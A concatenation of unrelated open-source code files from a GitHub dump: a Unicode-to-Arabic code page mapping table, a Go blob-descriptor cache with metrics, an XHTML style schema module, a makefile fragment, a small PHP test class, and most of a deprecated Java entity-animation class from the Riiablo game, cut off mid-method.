0x006a: 0x006a, # LATIN SMALL LETTER J
0x006b: 0x006b, # LATIN SMALL LETTER K
0x006c: 0x006c, # LATIN SMALL LETTER L
0x006d: 0x006d, # LATIN SMALL LETTER M
0x006e: 0x006e, # LATIN SMALL LETTER N
0x006f: 0x006f, # LATIN SMALL LETTER O
0x0070: 0x0070, # LATIN SMALL LETTER P
0x0071: 0x0071, # LATIN SMALL LETTER Q
0x0072: 0x0072, # LATIN SMALL LETTER R
0x0073: 0x0073, # LATIN SMALL LETTER S
0x0074: 0x0074, # LATIN SMALL LETTER T
0x0075: 0x0075, # LATIN SMALL LETTER U
0x0076: 0x0076, # LATIN SMALL LETTER V
0x0077: 0x0077, # LATIN SMALL LETTER W
0x0078: 0x0078, # LATIN SMALL LETTER X
0x0079: 0x0079, # LATIN SMALL LETTER Y
0x007a: 0x007a, # LATIN SMALL LETTER Z
0x007b: 0x007b, # LEFT CURLY BRACKET
0x007c: 0x007c, # VERTICAL LINE
0x007d: 0x007d, # RIGHT CURLY BRACKET
0x007e: 0x007e, # TILDE
0x007f: 0x007f, # DELETE
0x00a0: 0x00a0, # NON-BREAKING SPACE
0x00a2: 0x00c0, # CENT SIGN
0x00a3: 0x00a3, # POUND SIGN
0x00a4: 0x00a4, # CURRENCY SIGN
0x00a6: 0x00db, # BROKEN VERTICAL BAR
0x00ab: 0x0097, # LEFT POINTING GUILLEMET
0x00ac: 0x00dc, # NOT SIGN
0x00ad: 0x00a1, # SOFT HYPHEN
0x00b0: 0x0080, # DEGREE SIGN
0x00b1: 0x0093, # PLUS-OR-MINUS SIGN
0x00b7: 0x0081, # MIDDLE DOT
0x00bb: 0x0098, # RIGHT POINTING GUILLEMET
0x00bc: 0x0095, # FRACTION 1/4
0x00bd: 0x0094, # FRACTION 1/2
0x00d7: 0x00de, # MULTIPLICATION SIGN
0x00f7: 0x00dd, # DIVISION SIGN
0x03b2: 0x0090, # GREEK SMALL BETA
0x03c6: 0x0092, # GREEK SMALL PHI
0x060c: 0x00ac, # ARABIC COMMA
0x061b: 0x00bb, # ARABIC SEMICOLON
0x061f: 0x00bf, # ARABIC QUESTION MARK
0x0640: 0x00e0, # ARABIC TATWEEL
0x0651: 0x00f1, # ARABIC SHADDAH
0x0660: 0x00b0, # ARABIC-INDIC DIGIT ZERO
0x0661: 0x00b1, # ARABIC-INDIC DIGIT ONE
0x0662: 0x00b2, # ARABIC-INDIC DIGIT TWO
0x0663: 0x00b3, # ARABIC-INDIC DIGIT THREE
0x0664: 0x00b4, # ARABIC-INDIC DIGIT FOUR
0x0665: 0x00b5, # ARABIC-INDIC DIGIT FIVE
0x0666: 0x00b6, # ARABIC-INDIC DIGIT SIX
0x0667: 0x00b7, # ARABIC-INDIC DIGIT SEVEN
0x0668: 0x00b8, # ARABIC-INDIC DIGIT EIGHT
0x0669: 0x00b9, # ARABIC-INDIC DIGIT NINE
0x066a: 0x0025, # ARABIC PERCENT SIGN
0x2219: 0x0082, # BULLET OPERATOR
0x221a: 0x0083, # SQUARE ROOT
0x221e: 0x0091, # INFINITY
0x2248: 0x0096, # ALMOST EQUAL TO
0x2500: 0x0085, # FORMS LIGHT HORIZONTAL
0x2502: 0x0086, # FORMS LIGHT VERTICAL
0x250c: 0x008d, # FORMS LIGHT DOWN AND RIGHT
0x2510: 0x008c, # FORMS LIGHT DOWN AND LEFT
0x2514: 0x008e, # FORMS LIGHT UP AND RIGHT
0x2518: 0x008f, # FORMS LIGHT UP AND LEFT
0x251c: 0x008a, # FORMS LIGHT VERTICAL AND RIGHT
0x2524: 0x0088, # FORMS LIGHT VERTICAL AND LEFT
0x252c: 0x0089, # FORMS LIGHT DOWN AND HORIZONTAL
0x2534: 0x008b, # FORMS LIGHT UP AND HORIZONTAL
0x253c: 0x0087, # FORMS LIGHT VERTICAL AND HORIZONTAL
0x2592: 0x0084, # MEDIUM SHADE
0x25a0: 0x00fe, # BLACK SQUARE
0xfe7d: 0x00f0, # ARABIC SHADDA MEDIAL FORM
0xfe80: 0x00c1, # ARABIC LETTER HAMZA ISOLATED FORM
0xfe81: 0x00c2, # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM
0xfe82: 0x00a2, # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
0xfe83: 0x00c3, # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM
0xfe84: 0x00a5, # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
0xfe85: 0x00c4, # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM
0xfe8b: 0x00c6, # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM
0xfe8d: 0x00c7, # ARABIC LETTER ALEF ISOLATED FORM
0xfe8e: 0x00a8, # ARABIC LETTER ALEF FINAL FORM
0xfe8f: 0x00a9, # ARABIC LETTER BEH ISOLATED FORM
0xfe91: 0x00c8, # ARABIC LETTER BEH INITIAL FORM
0xfe93: 0x00c9, # ARABIC LETTER TEH MARBUTA ISOLATED FORM
0xfe95: 0x00aa, # ARABIC LETTER TEH ISOLATED FORM
0xfe97: 0x00ca, # ARABIC LETTER TEH INITIAL FORM
0xfe99: 0x00ab, # ARABIC LETTER THEH ISOLATED FORM
0xfe9b: 0x00cb, # ARABIC LETTER THEH INITIAL FORM
0xfe9d: 0x00ad, # ARABIC LETTER JEEM ISOLATED FORM
0xfe9f: 0x00cc, # ARABIC LETTER JEEM INITIAL FORM
0xfea1: 0x00ae, # ARABIC LETTER HAH ISOLATED FORM
0xfea3: 0x00cd, # ARABIC LETTER HAH INITIAL FORM
0xfea5: 0x00af, # ARABIC LETTER KHAH ISOLATED FORM
0xfea7: 0x00ce, # ARABIC LETTER KHAH INITIAL FORM
0xfea9: 0x00cf, # ARABIC LETTER DAL ISOLATED FORM
0xfeab: 0x00d0, # ARABIC LETTER THAL ISOLATED FORM
0xfead: 0x00d1, # ARABIC LETTER REH ISOLATED FORM
0xfeaf: 0x00d2, # ARABIC LETTER ZAIN ISOLATED FORM
0xfeb1: 0x00bc, # ARABIC LETTER SEEN ISOLATED FORM
0xfeb3: 0x00d3, # ARABIC LETTER SEEN INITIAL FORM
0xfeb5: 0x00bd, # ARABIC LETTER SHEEN ISOLATED FORM
0xfeb7: 0x00d4, # ARABIC LETTER SHEEN INITIAL FORM
0xfeb9: 0x00be, # ARABIC LETTER SAD ISOLATED FORM
0xfebb: 0x00d5, # ARABIC LETTER SAD INITIAL FORM
0xfebd: 0x00eb, # ARABIC LETTER DAD ISOLATED FORM
0xfebf: 0x00d6, # ARABIC LETTER DAD INITIAL FORM
0xfec1: 0x00d7, # ARABIC LETTER TAH ISOLATED FORM
0xfec5: 0x00d8, # ARABIC LETTER ZAH ISOLATED FORM
0xfec9: 0x00df, # ARABIC LETTER AIN ISOLATED FORM
0xfeca: 0x00c5, # ARABIC LETTER AIN FINAL FORM
0xfecb: 0x00d9, # ARABIC LETTER AIN INITIAL FORM
0xfecc: 0x00ec, # ARABIC LETTER AIN MEDIAL FORM
0xfecd: 0x00ee, # ARABIC LETTER GHAIN ISOLATED FORM
0xfece: 0x00ed, # ARABIC LETTER GHAIN FINAL FORM
0xfecf: 0x00da, # ARABIC LETTER GHAIN INITIAL FORM
0xfed0: 0x00f7, # ARABIC LETTER GHAIN MEDIAL FORM
0xfed1: 0x00ba, # ARABIC LETTER FEH ISOLATED FORM
0xfed3: 0x00e1, # ARABIC LETTER FEH INITIAL FORM
0xfed5: 0x00f8, # ARABIC LETTER QAF ISOLATED FORM
0xfed7: 0x00e2, # ARABIC LETTER QAF INITIAL FORM
0xfed9: 0x00fc, # ARABIC LETTER KAF ISOLATED FORM
0xfedb: 0x00e3, # ARABIC LETTER KAF INITIAL FORM
0xfedd: 0x00fb, # ARABIC LETTER LAM ISOLATED FORM
0xfedf: 0x00e4, # ARABIC LETTER LAM INITIAL FORM
0xfee1: 0x00ef, # ARABIC LETTER MEEM ISOLATED FORM
0xfee3: 0x00e5, # ARABIC LETTER MEEM INITIAL FORM
0xfee5: 0x00f2, # ARABIC LETTER NOON ISOLATED FORM
0xfee7: 0x00e6, # ARABIC LETTER NOON INITIAL FORM
0xfee9: 0x00f3, # ARABIC LETTER HEH ISOLATED FORM
0xfeeb: 0x00e7, # ARABIC LETTER HEH INITIAL FORM
0xfeec: 0x00f4, # ARABIC LETTER HEH MEDIAL FORM
0xfeed: 0x00e8, # ARABIC LETTER WAW ISOLATED FORM
0xfeef: 0x00e9, # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
0xfef0: 0x00f5, # ARABIC LETTER ALEF MAKSURA FINAL FORM
0xfef1: 0x00fd, # ARABIC LETTER YEH ISOLATED FORM
0xfef2: 0x00f6, # ARABIC LETTER YEH FINAL FORM
0xfef3: 0x00ea, # ARABIC LETTER YEH INITIAL FORM
0xfef5: 0x00f9, # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM
0xfef6: 0x00fa, # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
0xfef7: 0x0099, # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM
0xfef8: 0x009a, # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
0xfefb: 0x009d, # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM
0xfefc: 0x009e, # ARABIC LIGATURE LAM WITH ALEF FINAL FORM
}
| {
"pile_set_name": "Github"
} |
package cache
import (
"context"
"github.com/docker/distribution"
"github.com/opencontainers/go-digest"
)
// Metrics is used to hold metric counters
// related to the number of times a cache was
// hit or missed.
type Metrics struct {
Requests uint64
Hits uint64
Misses uint64
}
// Logger can be provided on the MetricsTracker to log errors.
//
// Usually, this is just a proxy to dcontext.GetLogger.
type Logger interface {
Errorf(format string, args ...interface{})
}
// MetricsTracker represents a metric tracker
// which simply counts the number of hits and misses.
type MetricsTracker interface {
Hit()
Miss()
Metrics() Metrics
Logger(context.Context) Logger
}
type cachedBlobStatter struct {
cache distribution.BlobDescriptorService
backend distribution.BlobDescriptorService
tracker MetricsTracker
}
// NewCachedBlobStatter creates a new statter which prefers a cache and
// falls back to a backend.
func NewCachedBlobStatter(cache distribution.BlobDescriptorService, backend distribution.BlobDescriptorService) distribution.BlobDescriptorService {
return &cachedBlobStatter{
cache: cache,
backend: backend,
}
}
// NewCachedBlobStatterWithMetrics creates a new statter which prefers a cache and
// falls back to a backend. Hits and misses will send to the tracker.
func NewCachedBlobStatterWithMetrics(cache distribution.BlobDescriptorService, backend distribution.BlobDescriptorService, tracker MetricsTracker) distribution.BlobStatter {
return &cachedBlobStatter{
cache: cache,
backend: backend,
tracker: tracker,
}
}
func (cbds *cachedBlobStatter) Stat(ctx context.Context, dgst digest.Digest) (distribution.Descriptor, error) {
desc, err := cbds.cache.Stat(ctx, dgst)
if err != nil {
if err != distribution.ErrBlobUnknown {
logErrorf(ctx, cbds.tracker, "error retrieving descriptor from cache: %v", err)
}
goto fallback
}
if cbds.tracker != nil {
cbds.tracker.Hit()
}
return desc, nil
fallback:
if cbds.tracker != nil {
cbds.tracker.Miss()
}
desc, err = cbds.backend.Stat(ctx, dgst)
if err != nil {
return desc, err
}
if err := cbds.cache.SetDescriptor(ctx, dgst, desc); err != nil {
logErrorf(ctx, cbds.tracker, "error adding descriptor %v to cache: %v", desc.Digest, err)
}
return desc, err
}
func (cbds *cachedBlobStatter) Clear(ctx context.Context, dgst digest.Digest) error {
err := cbds.cache.Clear(ctx, dgst)
if err != nil {
return err
}
err = cbds.backend.Clear(ctx, dgst)
if err != nil {
return err
}
return nil
}
func (cbds *cachedBlobStatter) SetDescriptor(ctx context.Context, dgst digest.Digest, desc distribution.Descriptor) error {
if err := cbds.cache.SetDescriptor(ctx, dgst, desc); err != nil {
logErrorf(ctx, cbds.tracker, "error adding descriptor %v to cache: %v", desc.Digest, err)
}
return nil
}
func logErrorf(ctx context.Context, tracker MetricsTracker, format string, args ...interface{}) {
if tracker == nil {
return
}
logger := tracker.Logger(ctx)
if logger == nil {
return
}
logger.Errorf(format, args...)
}
| {
"pile_set_name": "Github"
} |
# Style Module
style = element style { style.attlist, text }
style.attlist =
title.attrib,
I18n.attrib,
attribute type { ContentType.datatype },
attribute media { MediaDesc.datatype }?,
attribute xml:space { "preserve" }?
head.content &= style*
| {
"pile_set_name": "Github"
} |
#
# Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
#
# This code is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 only, as
# published by the Free Software Foundation.
#
# This code is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
# version 2 for more details (a copy is included in the LICENSE file that
# accompanied this code).
#
# You should have received a copy of the GNU General Public License version
# 2 along with this work; if not, write to the Free Software Foundation,
# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
# or visit www.oracle.com if you need additional information or have any
# questions.
#
#
# Sets make macros for making premium version of VM
TYPE=HP
CFLAGS += -DCOMPILER2
| {
"pile_set_name": "Github"
} |
<?php
class PrefixCollision_C_Bar
{
public static $loaded = true;
}
| {
"pile_set_name": "Github"
} |
package com.riiablo.entity;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.assets.AssetDescriptor;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.g2d.GlyphLayout;
import com.badlogic.gdx.graphics.glutils.ShapeRenderer;
import com.badlogic.gdx.math.MathUtils;
import com.badlogic.gdx.math.Vector2;
import com.badlogic.gdx.scenes.scene2d.Actor;
import com.badlogic.gdx.utils.Align;
import com.badlogic.gdx.utils.Array;
import com.badlogic.gdx.utils.ObjectIntMap;
import com.badlogic.gdx.utils.Pools;
import com.riiablo.Riiablo;
import com.riiablo.codec.Animation;
import com.riiablo.codec.COF;
import com.riiablo.codec.COFD2;
import com.riiablo.codec.DC;
import com.riiablo.codec.DCC;
import com.riiablo.codec.excel.Overlay;
import com.riiablo.codec.excel.Skills;
import com.riiablo.codec.util.BBox;
import com.riiablo.engine.Direction;
import com.riiablo.graphics.BlendMode;
import com.riiablo.graphics.PaletteIndexedBatch;
import com.riiablo.map.DT1.Tile;
import com.riiablo.map.Map;
import com.riiablo.map.pfa.GraphPath;
import com.riiablo.map.pfa.Point2;
import com.riiablo.util.DebugUtils;
import com.riiablo.util.EngineUtils;
import com.riiablo.widget.Label;
import org.apache.commons.lang3.StringUtils;
import java.util.Arrays;
import java.util.Collections;
import java.util.Iterator;
@Deprecated
public abstract class Entity implements Animation.AnimationListener {
private static final String TAG = "Entity";
private static final boolean DEBUG = true;
private static final boolean DEBUG_STATE = DEBUG && !true;
private static final boolean DEBUG_DIRTY = DEBUG && !true;
private static final boolean DEBUG_COF = DEBUG && !true;
private static final boolean DEBUG_TARGET = DEBUG && true;
private static final boolean DEBUG_PATH = DEBUG && !true;
private static final boolean DEBUG_SIZE = DEBUG && !true;
private static final boolean DEBUG_STATUS = DEBUG && !true;
private static final boolean DEBUG_LOAD = DEBUG && !true;
protected enum Type {
OBJ("OBJECTS",
new String[] {"NU", "OP", "ON", "S1", "S2", "S3", "S4", "S5"},
new String[] {"NIL", "LIT"}),
MON("MONSTERS",
new String[] {
"DT", "NU", "WL", "GH", "A1", "A2", "BL", "SC", "S1", "S2", "S3", "S4", "DD", "GH",
"XX", "RN"
},
new String[] {
"NIL", "LIT", "MED", "HEV", "HVY", "DES", "BRV", "AXE", "FLA", "HAX", "MAC", "SCM",
"BUC", "LRG", "KIT", "SML", "LSD", "WND", "SSD", "CLB", "TCH", "BTX", "HAL", "LAX",
"MAU", "SCY", "WHM", "WHP", "JAV", "OPL", "GPL", "SBW", "LBW", "LBB", "SBB", "PIK",
"SPR", "TRI", "FLC", "SBR", "GLV", "PAX", "BSD", "FLB", "WAX", "WSC", "WSD", "CLM",
"SMC", "FIR", "LHT", "CLD", "POS", "RSP", "LSP", "UNH", "RSG", "BLD", "SHR", "LHR",
"HBD", "TKT", "BAB", "PHA", "FAN", "PON", "HD1", "HD2", "HD3", "HD4", "ZZ1", "ZZ2",
"ZZ3", "ZZ4", "ZZ5", "ZZ6", "ZZ7", "RED", "TH2", "TH3", "TH4", "TH5", "FBL", "FSP",
"YNG", "OLD", "BRD", "GOT", "FEZ", "ROL", "BSK", "BUK", "SAK", "BAN", "FSH", "SNK",
"BRN", "BLK", "SRT", "LNG", "DLN", "BTP", "MTP", "STP", "SVT", "COL", "HOD", "HRN",
"LNK", "TUR", "MLK", "FHM", "GHM", "BHN", "HED",
}),
PLR("CHARS",
new String[] {
"DT", "NU", "WL", "RN", "GH", "TN", "TW", "A1", "A2", "BL", "SC", "TH", "KK", "S1",
"S2", "S3", "S4", "DD", "GH", "GH"
},
new String[] {
"NIL", "LIT", "MED", "HVY", "HAX", "AXE", "LAX", "BTX", "GIX", "WND", "YWN", "BWN",
"CLB", "MAC", "WHM", "FLA", "MAU", "SSD", "SCM", "FLC", "CRS", "BSD", "LSD", "CLM",
"GSD", "DGR", "DIR", "JAV", "PIL", "GLV", "SPR", "TRI", "BRN", "PIK", "HAL", "SCY",
"PAX", "BST", "SST", "CST", "LST", "SBW", "LBW", "CLW", "SKR", "KTR", "AXF", "SBB",
"LBB", "LXB", "HXB", "OB1", "OB3", "OB4", "AM1", "AM2", "AM3", "CAP", "SKP", "HLM",
"FHL", "GHM", "CRN", "MSK", "QLT", "LEA", "HLA", "STU", "RNG", "SCL", "CHN", "BRS",
"SPL", "PLT", "FLD", "GTH", "FUL", "AAR", "LTP", "BUC", "LRG", "KIT", "TOW", "BHM",
"BSH", "SPK", "DR1", "DR4", "DR3", "BA1", "BA3", "BA5", "PA1", "PA3", "PA5", "NE1",
"NE2", "NE3", "_62", "_63", "_64", "_65", "_66", "_67", "_68", "_69", "_6A", "_6B",
"_6C", "_6D", "_6E", "_6F", "_70", "_71", "_72", "_73", "_74", "_75", "_76", "_77",
"_78", "_79", "_7A", "_7B", "_7C", "GPL", "OPL", "GPS", "OPS",
}) {
@Override
COFD2 getCOFs() {
return Riiablo.cofs.chars_cof;
}
},
ITM("ITEMS",
new String[] {"NU"},
new String[] {"NIL"}),
WRP("WARPS",
new String[] {"NU"},
new String[] {"NIL"}),
MIS("MISSILES",
new String[] {"NU"},
new String[] {"NIL"});
public final String PATH;
public final String MODE[];
public final String COMP[];
private ObjectIntMap<String> MODES;
private ObjectIntMap<String> COMPS;
Type(String path, String[] modes, String[] comps) {
PATH = "data\\global\\" + path;
MODE = modes;
MODES = new ObjectIntMap<>();
for (int i = 0; i < modes.length; i++) MODES.put(modes[i].toLowerCase(), i);
COMP = comps;
COMPS = new ObjectIntMap<>();
for (int i = 0; i < comps.length; i++) COMPS.put(comps[i].toLowerCase(), i);
}
COFD2 getCOFs() {
return Riiablo.cofs.active;
}
public byte getMode(String mode) {
return (byte) MODES.get(mode.toLowerCase(), -1);
}
public int getComponent(String comp) {
return COMPS.get(comp.toLowerCase(), -1);
}
}
private static final String[] WCLASS = {
"", "HTH", "BOW", "1HS", "1HT", "STF", "2HS", "2HT", "XBW", "1JS", "1JT", "1SS", "1ST", "HT1", "HT2"
};
public static final byte WEAPON_NIL = 0;
public static final byte WEAPON_HTH = 1;
public static final byte WEAPON_BOW = 2;
public static final byte WEAPON_1HS = 3;
public static final byte WEAPON_1HT = 4;
public static final byte WEAPON_STF = 5;
public static final byte WEAPON_2HS = 6;
public static final byte WEAPON_2HT = 7;
public static final byte WEAPON_XBW = 8;
public static final byte WEAPON_1JS = 9;
public static final byte WEAPON_1JT = 10;
public static final byte WEAPON_1SS = 11;
public static final byte WEAPON_1ST = 12;
public static final byte WEAPON_HT1 = 13;
public static final byte WEAPON_HT2 = 14;
private static final String[] COMPOSIT = {
"HD", "TR", "LG", "RA", "LA", "RH", "LH", "SH", "S1", "S2", "S3", "S4", "S5", "S6", "S7", "S8",
};
public static final class Dirty {
public static final int NONE = 0;
public static final int HD = 1 << 0;
public static final int TR = 1 << 1;
public static final int LG = 1 << 2;
public static final int RA = 1 << 3;
public static final int LA = 1 << 4;
public static final int RH = 1 << 5;
public static final int LH = 1 << 6;
public static final int SH = 1 << 7;
public static final int S1 = 1 << 8;
public static final int S2 = 1 << 9;
public static final int S3 = 1 << 10;
public static final int S4 = 1 << 11;
public static final int S5 = 1 << 12;
public static final int S6 = 1 << 13;
public static final int S7 = 1 << 14;
public static final int S8 = 1 << 15;
public static final int ALL = 0xFFFF;
public static String toString(int bits) {
StringBuilder builder = new StringBuilder();
if (bits == NONE) {
builder.append("NONE");
} else if (bits == ALL) {
builder.append("ALL");
} else {
if ((bits & HD) == HD) builder.append("HD").append("|");
if ((bits & TR) == TR) builder.append("TR").append("|");
if ((bits & LG) == LG) builder.append("LG").append("|");
if ((bits & RA) == RA) builder.append("RA").append("|");
if ((bits & LA) == LA) builder.append("LA").append("|");
if ((bits & RH) == RH) builder.append("RH").append("|");
if ((bits & LH) == LH) builder.append("LH").append("|");
if ((bits & SH) == SH) builder.append("SH").append("|");
if ((bits & S1) == S1) builder.append("S1").append("|");
if ((bits & S2) == S2) builder.append("S2").append("|");
if ((bits & S3) == S3) builder.append("S3").append("|");
if ((bits & S4) == S4) builder.append("S4").append("|");
if ((bits & S5) == S5) builder.append("S5").append("|");
if ((bits & S6) == S6) builder.append("S6").append("|");
if ((bits & S7) == S7) builder.append("S7").append("|");
if ((bits & S8) == S8) builder.append("S8").append("|");
if (builder.length() > 0) builder.setLength(builder.length() - 1);
}
return builder.toString();
}
public static boolean isDirty(int flags, int component) {
return ((1 << component) & flags) != 0;
}
}
private static final float DEFAULT_ANGLE = MathUtils.atan2(-1, -2); // Direction 0
private static final byte[] DEFAULT_TRANS;
static {
DEFAULT_TRANS = new byte[COF.Component.NUM_COMPONENTS];
Arrays.fill(DEFAULT_TRANS, (byte) 0xFF);
}
private static final float[] DEFAULT_ALPHA;
static {
DEFAULT_ALPHA = new float[COF.Component.NUM_COMPONENTS];
Arrays.fill(DEFAULT_ALPHA, 1.0f);
}
private static final int[][][] SIZES = {
{ {0,0} },
{ {0,0}, {-1,0}, {1,0}, {0,-1}, {0,1} },
{ {0,0}, {-1,0}, {1,0}, {0,-1}, {0,1}, {-1,-1}, {1,1}, {1,-1}, {-1,1}, {-2,0}, {2,0}, {0,-2}, {0,2} },
};
int uuid = 0;
String classname;
Type type;
int dirty;
String token;
byte code;
byte mode;
byte wclass;
String cof;
byte comp[];
byte trans[]; // TODO: Could also assign DEFAULT_TRANS and lazy change
float alpha[];
float angle = DEFAULT_ANGLE;
Vector2 position = new Vector2();
Vector2 screen = new Vector2();
@SuppressWarnings("unchecked")
final AssetDescriptor<? extends DC>[] layer = (AssetDescriptor<? extends DC>[]) new AssetDescriptor[COF.Component.NUM_COMPONENTS];
int load;
Animation animation;
String name;
Actor label;
boolean over;
byte nextMode = -1;
Vector2 target = new Vector2();
GraphPath path = new GraphPath();
Iterator<Point2> targets = Collections.emptyIterator();
boolean running = false;
float walkSpeed = 6;
float runSpeed = 9;
Overlay.Entry overlayEntry;
Animation overlay;
int size = 1;
private static final Vector2 tmpVec2 = new Vector2();
Entity(Type type, String classname, String token) {
this(type, classname, token, new byte[COF.Component.NUM_COMPONENTS], DEFAULT_TRANS.clone());
}
Entity(Type type, String classname, String token, byte[] components, byte[] transforms) {
this.type = type;
this.classname = classname;
this.token = token;
mode = code = getNeutralMode();
wclass = WEAPON_HTH;
comp = components;
trans = transforms;
alpha = DEFAULT_ALPHA.clone();
invalidate();
// TODO: lazy init
Label label = new Label(Riiablo.fonts.font16);
label.setUserObject(this);
label.setAlignment(Align.center);
label.getStyle().background = Label.MODAL;
this.label = label;
}
public void setMode(byte mode) {
setMode(mode, mode);
}
public void setMode(byte mode, byte code) {
if (this.mode != mode) {
if (DEBUG_STATE) Gdx.app.debug(TAG, classname + " mode: " + type.MODE[this.mode] + " -> " + type.MODE[mode]);
this.mode = mode;
invalidate();
}
this.code = code;
}
public void setWeapon(byte wclass) {
if (this.wclass != wclass) {
if (DEBUG_STATE) Gdx.app.debug(TAG, classname + " wclass: " + WCLASS[this.wclass] + " -> " + WCLASS[wclass]);
this.wclass = wclass;
invalidate();
}
}
public void setComponents(byte[] components) {
System.arraycopy(components, 0, comp, 0, COF.Component.NUM_COMPONENTS);
invalidate();
}
public void setComponent(byte component, byte code) {
if (comp[component] != code) {
if (DEBUG_STATE) Gdx.app.debug(TAG, classname + " component: " + type.COMP[comp[component]] + " -> " + type.COMP[code == -1 ? 0 : code]);
comp[component] = code;
invalidate(1 << component);
}
}
public void setTransforms(byte[] transforms) {
System.arraycopy(transforms, 0, trans, 0, COF.Component.NUM_COMPONENTS);
invalidate(); // TODO: invalidate not necessary -- but this method isn't used anywhere performance critical
}
public void setTransform(byte component, byte transform) {
if (trans[component] != transform) {
if (DEBUG_STATE) Gdx.app.debug(TAG, classname + " transform: " + (trans[component] & 0xFF) + " -> " + (transform & 0xFF)); // TODO: transform toString
trans[component] = transform;
if (animation != null) animation.getLayer(component).setTransform(transform);
}
}
public void setAlpha(byte component, float a) {
if (alpha[component] != a) {
if (DEBUG_STATE) Gdx.app.debug(TAG, classname + " alpha: " + alpha[component] + " -> " + a);
alpha[component] = a;
if (animation != null) {
Animation.Layer layer = animation.getLayer(component);
if (layer != null) layer.setAlpha(a);
}
}
}
public final void invalidate() {
dirty = Dirty.ALL;
}
protected final void invalidate(int dirty) {
this.dirty |= dirty;
}
public final void validate() {
if (dirty == Dirty.NONE && load == Dirty.NONE) return;
updateCOF();
loadLayers();
}
protected void updateCOF() {
this.cof = token + type.MODE[mode] + WCLASS[wclass];
COF cof = type.getCOFs().lookup(this.cof);
if (DEBUG_COF) Gdx.app.debug(TAG, this.cof + "=" + cof);
boolean changed = updateAnimation(cof);
if (changed) dirty = Dirty.ALL;
if (dirty == Dirty.NONE) return;
if (DEBUG_DIRTY) Gdx.app.debug(TAG, "dirty layers: " + Dirty.toString(dirty));
load = Dirty.NONE; // TODO: unload this.layer assets
final int start = type.PATH.length() + 4; // start after token
StringBuilder builder = new StringBuilder(start + 19)
.append(type.PATH).append('\\')
.append(token).append('\\')
.append("AA").append("\\")
.append(token).append("AABBB").append(type.MODE[mode]).append("CCC").append(".dcc");
for (int l = 0; l < cof.getNumLayers(); l++) {
COF.Layer layer = cof.getLayer(l);
if (!Dirty.isDirty(dirty, layer.component)) continue;
if (comp[layer.component] == 0) { // should also ignore 0xFF which is -1
this.layer[layer.component] = null;
continue;
} else if (comp[layer.component] == -1) {
comp[layer.component] = 1;
}
String composit = COMPOSIT[layer.component];
builder
.replace(start , start + 2, composit)
.replace(start + 5, start + 7, composit)
.replace(start + 7, start + 10, type.COMP[comp[layer.component]])
.replace(start + 12, start + 15, layer.weaponClass);
String path = builder.toString();
if (DEBUG_DIRTY) Gdx.app.log(TAG, path);
AssetDescriptor<? extends DC> descriptor = this.layer[layer.component] = new AssetDescriptor<>(path, DCC.class);
Riiablo.assets.load(descriptor);
load |= (1 << layer.component);
}
// TODO: This seems to work well with the default movement speeds of most entities I've seen
if (mode == getWalkMode()) {
animation.setFrameDelta(128);
} else if (mode == getRunMode()) {
animation.setFrameDelta(128);
}
dirty = Dirty.NONE;
}
protected void loadLayers() {
if (load == Dirty.NONE) return;
COF cof = type.getCOFs().lookup(this.cof);
for (int l = 0; l < cof.getNumLayers(); l++) {
COF.Layer layer = cof.getLayer(l);
if (!Dirty.isDirty(load, layer.component)) continue;
if (comp[layer.component] == 0) {
load &= ~(1 << layer.component);
animation.setLayer(layer, null, false);
continue;
}
AssetDescriptor<? extends DC> descriptor = this.layer[layer.component];
if (Riiablo.assets.isLoaded(descriptor)) {
if (DEBUG_LOAD) Gdx.app.debug(TAG, "loaded " + descriptor);
load &= ~(1 << layer.component);
DC dc = Riiablo.assets.get(descriptor);
animation.setLayer(layer, dc, false)
.setTransform(trans[layer.component])
.setAlpha(alpha[layer.component])
;
// FIXME: colors don't look right for sorc Tirant circlet changing hair color
// putting a ruby in a white circlet not change color on item or character
// circlets and other items with hidden magic level might work different?
}
}
animation.updateBox();
}
private boolean updateAnimation(COF cof) {
if (animation == null) {
animation = Animation.newAnimation(cof);
animation.addAnimationListener(-1, this);
updateDirection();
return true;
} else {
return animation.setCOF(cof);
}
}
@Override
public void onTrigger(Animation animation, int frame) {
switch (frame) {
case -1: onAnimationFinished(animation); break;
default: // do nothing
}
}
protected void onAnimationFinished(Animation animation) {}
public String getCOF() {
return cof;
}
private void updateDirection() {
if (animation != null) animation.setDirection(direction());
}
public void act(float delta) {
EngineUtils.worldToScreenCoords(position, screen);
if (overlay != null) overlay.act(delta);
if (animation != null) animation.act(delta);
}
public void draw(PaletteIndexedBatch batch) {
validate();
if (load != Dirty.NONE) return;
if (overlayEntry != null && overlayEntry.PreDraw) overlay.draw(batch, screen.x, screen.y);
animation.draw(batch, screen.x, screen.y);
if (overlayEntry != null && !overlayEntry.PreDraw) overlay.draw(batch, screen.x, screen.y);
label.setPosition(screen.x, screen.y + getLabelOffset() + label.getHeight() / 2, Align.center);
//if (animation.isFinished() && nextMode >= 0) {
// setMode(nextMode);
// nextMode = -1;
//}
}
public void drawShadow(PaletteIndexedBatch batch) {
validate();
if (load != Dirty.NONE) return;
animation.drawShadow(batch, screen.x, screen.y, false);
}
public void drawDebug(PaletteIndexedBatch batch, ShapeRenderer shapes) {
if (DEBUG_SIZE) drawDebugSize(shapes);
